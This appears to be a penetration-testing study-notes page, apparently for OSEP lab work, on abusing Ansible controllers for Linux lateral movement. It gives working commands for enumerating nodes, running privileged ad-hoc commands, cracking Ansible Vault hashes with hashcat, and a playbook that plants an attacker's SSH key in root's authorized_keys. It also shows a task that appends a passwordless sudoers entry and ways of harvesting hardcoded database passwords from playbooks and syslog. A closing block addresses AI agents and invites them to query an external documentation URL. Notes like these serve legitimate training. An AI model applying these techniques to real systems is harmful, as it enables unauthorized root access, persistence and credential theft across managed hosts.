# Ansible

For actions to be performed on the node, either the password for a user on the node needs to be stored on the controller, or the controller's Ansible account needs to be configured on the node using SSH keys. This allows the controller to connect to the node via SSH or other means and run the desired modules.

Because the Ansible server needs elevated privileges to perform certain tasks on the end nod&#x65;**, the user configured by Ansible typically has&#x20;*****root*****&#x20;or&#x20;*****sudo*****-level permissions**. Because of this, **compromising the Ansible server or getting the private key for an Ansible configuration account could allow complete compromise of any nodes in the Ansible controller's inventory.**

The *ansibleadm* user on the controller issues commands. The same account exists on the victim node.  This account on the victim node has the public key for the controller's *ansibleadm* user set in its authorized\_keys file to allow access and  has *sudo* rights on the node to be able to perform privileged actions.&#x20;

If we have root access or access to the Ansible administrator account on the Ansible controller, we can run ad-hoc commands or playbooks as the Ansible user on all nodes, typically with elevated or root access *(set backdoor user / add sudoers / transfer and execute reverse shell)*.&#x20;

If Ansible is set up to use SSH for authentication to nodes, we could steal the Ansible administrator user's private key from their home folder and log in to the nodes directly.

## Enumeration

Check if ansible in use: `ansible` / existence of an `/etc/ansible` / the presence of "ansible" related usernames in `/etc/passwd`or `/home/ansible-user`

Check node inventory: `cat /etc/ansible/hosts`

Check[ SSH keys](/osep/network/linux-lateral-movement/ssh.md)

## Commands

### Ad-hoc

```
ansible {victim node} -a "whoami"
```

```
ansible {victim node} -a "whoami" --become {user} 
(default root if {user} blank)
```

### Playbook

run: `ansible-playbook xxx.yaml`

read: `cat /opt/ansible/playbooks/xxx.yaml`

<figure><img src="/files/L2LzRcSXvxEl7pRHF8jq" alt=""><figcaption><p>hardcoded credential - offsec:lab</p></figcaption></figure>

If we don't have access to run ansible-playbook but have read access to playbooks, we may be able to harvest sensitive credentials and compromise nodes used by Ansible.

#### Vault Cracking

<figure><img src="/files/aP95wcNWF9WrckXXQrZK" alt=""><figcaption><p>encrypted credential in .yaml </p></figcaption></figure>

{% code title="1) key.yml" %}

```
$ANSIBLE_VAULT;1.1;AES256
3936....
3036
```

{% endcode %}

{% code title="2) generate crack format" %}

```
python3 /usr/share/john/ansible2john.py ./key.yml
```

{% endcode %}

{% code title="3) output hash.txt from 2)" overflow="wrap" %}

```
$ansible$0*0*9661a95...110540
```

{% endcode %}

<pre data-title="4) crack for vault pw -d 2" data-overflow="wrap"><code>hashcat hash.txt <a data-footnote-ref href="#user-content-fn-1">--force</a> --hash-type=16900 /usr/share/wordlists/rockyou.txt
</code></pre>

{% code title="5) decrypt w/cracked pw" %}

```
cat key.yml | ansible-vault decrypt
```

{% endcode %}

Decrypting encrypted files (as opposed to strings) is essentially the same process, since files are encrypted using the same encryption scheme.

#### Writable Playbook

<pre data-title="/opt/playbooks/xxx.yaml" data-overflow="wrap"><code>---
- name: Get system info
  hosts: all
  gather_facts: true
  become: yes
  tasks:
    - name: Display info
      debug:
          msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

    - name: Create a directory if it does not exist
      file:
        path: /root/.ssh
        state: directory
        mode: '0700'
        owner: root
        group: root

    - name: Create authorized keys if it does not exist
      file:
        path: /root/.ssh/authorized_keys
        state: touch
        mode: '0600'
        owner: root
        group: root

    - name: Update keys
      lineinfile:
        path: /root/.ssh/authorized_keys
        line: "<a data-footnote-ref href="#user-content-fn-2">ssh-rsa AAAAB3NzaC1...Z86SOm...</a>"
        insertbefore: EOF
</code></pre>

If the playbook is run by the *ansibleadm* user, our key is added to the *root* user's account on the ansible node hosts. Once it is added, we are able to SSH to the ansible nodes machine from our Kali VM as *root*. `ssh root@ansiblenodes`

{% code title="code exec playbook" %}

```
    - name: Run command
      shell: echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
      async: 10
      poll: 0
```

{% endcode %}

#### Sensitive Data

{% code overflow="wrap" %}

```
ansibleadm@controller:/opt/playbooks$ cat mysqlbackup.yml 
---
- name: Backup TPS reports
  hosts: victimnode
  gather_facts: true
  become: yes
  tasks:
    - name: Run command
      shell: mysql --user=root --password=hotdog123 --host=databaseserver --databases tpsreports --result-file=/root/reportsbackup
      async: 10 
      poll: 0
```

{% endcode %}

The username, password, and host for the MySQL database are all exposed for potential pivoting to the dbs.

{% code title="@victimnode" %}

```
cat /var/log/syslog | grep 'password'
```

{% endcode %}

[^1]: can be omit if run outside of VM

    add -d # flag to specify hardware used for cracking

[^2]: public key from our Kali


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/network/linux-lateral-movement/ansible.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
